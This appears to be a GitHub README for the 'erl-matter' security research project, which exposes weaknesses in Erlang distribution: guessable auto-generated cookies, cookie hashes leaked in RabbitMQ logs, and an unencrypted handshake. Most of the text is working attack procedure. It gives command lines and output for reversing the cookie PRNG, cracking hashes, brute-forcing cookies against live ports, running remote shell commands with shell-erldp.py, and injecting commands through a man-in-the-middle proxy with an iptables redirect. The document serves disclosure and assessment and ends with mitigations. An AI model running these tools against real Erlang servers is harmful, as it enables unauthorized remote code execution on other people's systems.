Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
gteissier
GitHub Repository: gteissier/erl-matter
 Path: blob/master/README.md
271 views

Guessing for fun and profit

TLDR; Erlang Distribution offers arbitrary code execution, and its access shall have been protected, as explicitely stated by Erlang. Sadly, well known daemons expose it, and authentication is based on a guessable seed.

Pivotal has issued [CVE-2018-1279] for Pivotal RabbitMQ for PCF (https://nvd.nist.gov/vuln/detail/CVE-2018-1279)

The seductive properties of Erlang make it the core of network exposed daemons:

Both rabbitmq and ejbabberd provides messaging, a convenient way to interconnect components. OpenStack deployments routinely use rabbitmq as its core messaging system.

This repository provides tools to assess Erlang distribution protocol weaknesses:

  • detail flaws related to cookie generation and authentication mecanism;

  • provide tools associated with guessing, uncovering, or brute-forcing the Erlang cookie;

  • provide Python tool to remotely execute code on vulnerable servers.

Erlang, and Erlang distribution protocol

Erlang is a nice programming language. Joe Armstrong, its creator, has summarized it as:

  • Everything is a process.

  • ...

  • Message passing is the only way for processes to interact.

  • Processes have unique names.

  • If you know the name of a process you can send it a message.

  • ...

Distribution is related to clustering and transparent remoting over TCP/IP. It is typically involved when Erlang processes on two or more nodes need to communicate and synchronize, e.g. two rabbitmq nodes working in high-availability mode.

Processes that need to communicate using distribution must share a common secret, called the Erlang cookie.

Distribution exchanges are split into two phases:

  • handshake: it provides mutual authentication between two Erlang nodes. It is based on deprecated MD5 hashing, and the salt mecanism is rather weak.

  • control: overly simplified, consists in Erlang messages in their external encoded form

Erlang is transparent and explicitely claims it is unsecure: Explicit advisory

Well, most of the time, installing ejabberd or rabbitmq would bind Erlang distribution to the IPv4 wildcard. Erlang distribution might not be as protected as it should be ...

Finding Erlang distribution ports

As a starter, let's use github.com to find trendy Erlang server projects. I bet it can change, but op eight of today's monthly gives:

  • rabbitmq/rabbitmq-server: Open source multi-protocol messaging broker

  • emqtt/emqttd: EMQ - Erlang MQTT Broker

  • ninesnines/cowboy: Small, fast, modern HTTP server for Erlang/OTP.

  • apache/couchdb: Apache CouchDB

  • processone/ejabberd: Robust, ubiquitous and massively scalable Jabber / XMPP Instant Messaging platform

  • erlio/vernemq: A distributed MQTT message broker based on Erlang/OTP

  • gotthardp/lorawan-server: Compact server for private LoRa networks

  • esl/MongooseIM: MongooseIM is a mobile messaging platform with focus on performance and scalability

Out of these eight projects, it turns out that seven of them setup a distribution port. So it is not something seldom, but rather a default setup for Erlang servers. Details can be found in setup and scan notes.

epmd lists Erlang processes

Erlang uses a registry to provide a naming function. The Erlang port mapper daemon aka epmd will list all the Erlang nodes accessible on the local host. Well known port for this daemon is TCP/4369. nmap will be able to extract information available on it:

$ nmap -A -sT -p4369 <target>
...
PORT     STATE SERVICE VERSION
4369/tcp open  epmd    Erlang Port Mapper Daemon
| epmd-info:
|   epmd_port: 4369
|   nodes:
|_    rabbit: 25672

Probing unknown TCP port for Erlang distribution

Access to epmd may be filtered. Quoting ejabberd security guide:

The recommended way to secure the Erlang node is to block the port 4369.

Scanning the server will now produce:

$ nmap -A -sT -p- <target>

PORT      STATE SERVICE VERSION
56544/tcp open  unknown

Nmap is able to detect an open TCP port, but it is unable to detect it is Erlang distribution behind it.

Probing Erlang distribution port can be done using erldp-info nmap script:

$ nmap -A -sT --script ./erldp-info.nse -p56544 <target>
...
PORT      STATE SERVICE VERSION
56544/tcp open  erldp   Erlang distribution protocol
| erldp-info:
|   version: 5
|   node: ejabberd@<target>
|_  flags: 37ffc

Executing shell commands via Erlang distribution

Now let's see what can be done when accessing Erlang distribution protocol. In this part, we suppose we already have the cookie required to authenticate.

Docker hub points to an official rabbitmq image.

$ docker run --rm --hostname hare --name hare \
-e RABBITMQ_ERLANG_COOKIE="love.s3cr3t.c00ki35;)" \
rabbitmq

After pulling a few layers, we can see rabbitmq logs flowing. And we know the Erlang cookie because we explicitely set it using RABBITMQ_ERLANG_COOKIE environment variable.

rabbitmqctl is the name of the command line tool that controls rabbitmq server. It is built on top of Erlang distribution. It needs to remotely interact with rabbit Erlang process.

We already have all that we need in the previously pulled image: 

$ docker run -ti --rm --link hare:hare \
-e RABBITMQ_ERLANG_COOKIE="love.s3cr3t.c00ki35;)" \
rabbitmq rabbitmqctl -n rabbit@hare eval 'os:cmd("id && hostname").'

yields "uid=999(rabbitmq) gid=999(rabbitmq) groups=999(rabbitmq)\nhare\n"

The command id && hostname has actually run on server, which hostname is hare.

Access and cookie knowledge allow to remotely execute code on server.

As we show above, knowing the Erlang cookie and having access to Erlang distribution is enough to get remote command execution, under the user running the Erlang process.

The curious has noticed that we set the Erlang cookie by ourself. Recalling that communicating nodes shall share the same cookie, you basically have two solutions:

  • generate an Erlang cookie using your favorite PRNG, then copy it to the requiring nodes;

  • or let Erlang generate a cookie on the first use, then copy it to the requiring nodes.

The rest will focus on automatically generated Erlang cookies.

The recipe can be found at the heart of auth.erl:

create_cookie(Name) ->
    Seed = abs(erlang:monotonic_time()
	       bxor erlang:unique_integer()),
    Cookie = random_cookie(20, Seed, []),
...
random_cookie(0, _, Result) ->
    Result;
random_cookie(Count, X0, Result) ->
    X = next_random(X0),
    Letter = X*($Z-$A+1) div 16#1000000000 + $A,
    random_cookie(Count-1, X, [Letter|Result]).
...
next_random(X) ->
    (X*17059465+1) band 16#fffffffff.

Versions more recent than this commit use this cookie generation algorithm. Note that versions prior to this commit use a different recipe to derive a cookie:

create_cookie(Name) ->
    {_, S1, S2} = now(),
    Seed = S2*10000+S1,
    Cookie = random_cookie(20, Seed, []),

The rest will focus on recent Erlang versions using the newest recipe.

Cookies are predictable

The cookie is derived from a seed. The seed is computed from quantities obtained via:

  • erlang:monotonic_time(): it stands for the time in nanoseconds from the start of the Erlang virtual machine to the time of the call

  • erlang:unique_integer(): it returns an integer which is incremented by something linear to the number of Erlang processors

It appears that both quantities are fairly predictable. The diagram below depicts the distribution of seeds for a targeted hardware platform:

seed distribution for a targeted hardware platform

So far, Erlang cookie space has reduced from:

  • At first glance, 20 capital letters, which gives roughly 26^20 ~ 10^28 candidates;

  • The structure of the PRNG reduces the number of candidates cookie to 2^36 ~ 10^8;

  • The poor entropy of the seed further reduces the number of candidates to now roughly 10^6.

Automatically generated Erlang cookies offer poor entropy

Tooling around the vulnerability

Guessing the seed

An easy way is to generate a lot of cookies via starting a fresh rabbitmq daemon and harvesting the Erlang cookie. A seed used to generate the cookie can be obtained via revert-prng:

$ echo "ELDUPJHMPTCVINSPFDTA" | ./revert-prng.sage
404289480

Reverting of the PRNG is based on finding a minimal solution to a 21*21 system in Z/_2^36_Z. sage provides the solve_right primitive which handles all the work to provide a suitable solution.

$ ./revert-prng.sage stats < sample-cookies
number of cookies: 2000
  min seed: 379860146
  max seed: 386287883
  mean seed: 381404044
  std deviation: 568768

rabbitmq logs the raw md5 of the cookie in its log, base64 encoded. Oops. And oops again.

=INFO REPORT==== 27-Dec-2015::13:41:22 ===
node           : rabbit@pablo-HP
home dir       : /var/lib/rabbitmq
config file(s) : /etc/rabbitmq/rabbitmq.config (not found)
cookie hash    : 686jqAnl3g3sdADgSCD+sg==
log            : /var/log/rabbitmq/rabbit@pablo-HP.log
sasl log       : /var/log/rabbitmq/rabbit@pablo-HP-sasl.log
database dir   : /var/lib/rabbitmq/mnesia/rabbit@pablo-HP

You can use crack-hash to sweep through all the seeds and find matching md5:

$ time ./crack-hash 686jqAnl3g3sdADgSCD+sg==
IICIEBZGURYVBZWLJTFI
  seed used to generate it = 506551409

real	0m13.121s
user	1m43.467s
sys	0m0.033s

Shall you have access to pablo-HP machine, you could execute code on his machine.

Note that only automatically generated cookies can be found by this tool. If the admin was wise enough to replace the Erlang cookie, the tool will fail with:

$ time ./crack-hash X03MO1qnZdYdgyfeuILPmQ==
cookie hash did not reveal a generated cookie

real	30m11.820s
user	233m5.784s
sys	0m16.311s

In this case you can always fall back to raw md5 cracking using oclHashcat or john. Or google. The hash above matches password as plaintext.

Imagine that a crash has given you only a part of the cookie. Due to its nature, missing parts can be completed ! For starter, let's begin with just a missing character, at the beginning:

$ time ./complete-cookie .ICIEBZGURYVBZWLJTFI
IICIEBZGURYVBZWLJTFI (seed = 506551409)

real	0m2.027s
user	0m15.774s
sys	0m0.021s

Mission accomplished, though bruteforcing the 26 possible first character would have been much easier. But let's take a more complex example, only the last seven characters were dumped:

$ time ./complete-cookie .............ZWLJTFI
QYUFBUCVATYSFZWLJTFI (seed = 25860583736)
DZQLCMSUWKIIWZWLJTFI (seed = 22290780982)
IICIEBZGURYVBZWLJTFI (seed = 506551409)
SPRNLDKPIEAKVZWLJTFI (seed = 40262700267)
MKLNNWZUXYQCXZWLJTFI (seed = 54109041624)
WSBSUZKCKLRRRZWLJTFI (seed = 25145713746)

real	0m2.201s
user	0m15.618s
sys	0m0.043s

When you have found an open suitable port, you can use bruteforce-erldp to sweep a seed interval and perform network exchanges to authenticate.

In the context of the above hardware setup, using the computed interval uncovers the Erlang cookie in 30 seconds:

$ time ./bruteforce-erldp --threads=16 --seed-start=381410768 --seed-end=386584488 --gap=1000 192.168.1.36 25672
16 workers will start, sweeping through [381410768, 386584488]
each worker will sweep though an interval of size 323358
 6766 seed/s (6767 conn/s)		57.57%
found cookie = UDPQJJNGQLLDNASUKRRN

real	7m41.043s
user	0m31.372s
sys	7m8.548s

Bruteforce is not always entitled with success. In particular, Erlang cookies which have not been generated by Erlang will not be guessable. However, Erlang runtime does not put throttling protection, nor lock out mecanism based on attempting source IP, so ... it is worth trying it.

Gaining remote code execution

Now is reward time !

shell-erldp makes victim Erlang server execute shell command given in argument. It requires host and port, plus cookie value.

Coming back to our target setup:

$ ./shell-erldp.py 192.168.1.36 25672 UDPQJJNGQLLDNASUKRRN id
uid=121(rabbitmq) gid=135(rabbitmq) groups=135(rabbitmq)

Doing the same for ejabberd works the very same, as we use a function built in Erlang, not in upper daemon developped in Erlang:

$ ./shell-erldp.py 192.168.1.36 45986 YBBQTPLCGRNMJOJJENNL id
uid=110(ejabberd) gid=116(ejabberd) groups=116(ejabberd)

Gaining an interactive reverse shell is now a step ahead.

Exploiting man-in-the-middle

A man-in-the-middle attacker may wait for the legit client to authenticate, and then inject malicious commands into the external encoded Erlang stream, which is neither ciphered, neither authenticated. This part is now implemented, as a Python asyncore Erlang distribution proxy. It currently identifies and outputs challenges/responses, leaving the cookie to be cracked offline. It can also be used to inject an RCE Erlang payload inside an authenticated channel.

Non-transparent proxy

It requires the client to connect to the attacker proxy. The proxy must then know how to connect to legitimate server. The associated command line option is:

$ ./erldp-proxy.py --target victim:9100 ...

Transparent proxy

It requires the use of a redirect rule, such as:

# iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 9100 -j REDIRECT --to-port 19100

In this case, the initial destination is retrieved from the socket through the use of SO\_ORIG\_DSTADDR. The legit connection to the victim server is then performed. This is the default mode when --target is not used:

$ ./erldp-proxy.py ...

Collect challenges and responses

The goal is to collect authentication exchanges, and crack cookie offline.

$ python erldp-proxy.py --target 127.0.0.1:9100 --collect-challenges
[*] listening on 127.0.0.1:31337
[*] working in non transparent mode, will connect to 127.0.0.1:9100
...
md5(cookie|2946365952) = d96d11044d7ffc3e2bc9c60b67c28a91
md5(cookie|0) = cc4876d55ff075a40e0a530872496805

The reader can verify that in this case, cookie is ejabberd.

Inject OS command

The goal is to inject a correctly formatted OS command inside the authenticated channel right after authentication is successful.

$ python erldp-proxy.py --target 127.0.0.1:9100 --inject-cmd id
[*] listening on 127.0.0.1:31337
...
[*] working in non transparent mode, will connect to 127.0.0.1:9100
[!!!] INJECTING 'id' to server
[!!!] DONE

Recommendations

  • Replace automatically generated cookies by ones generated using a strong PRNG.

  • Protect integrity and confidentiality of distribution using TLS, with mutual authentication. Note this renders Erlang cookie useless.

  • 3NJ0Y Y0Ur W1D3 0P3N 3r14N6 D157r18U710N P0r7 !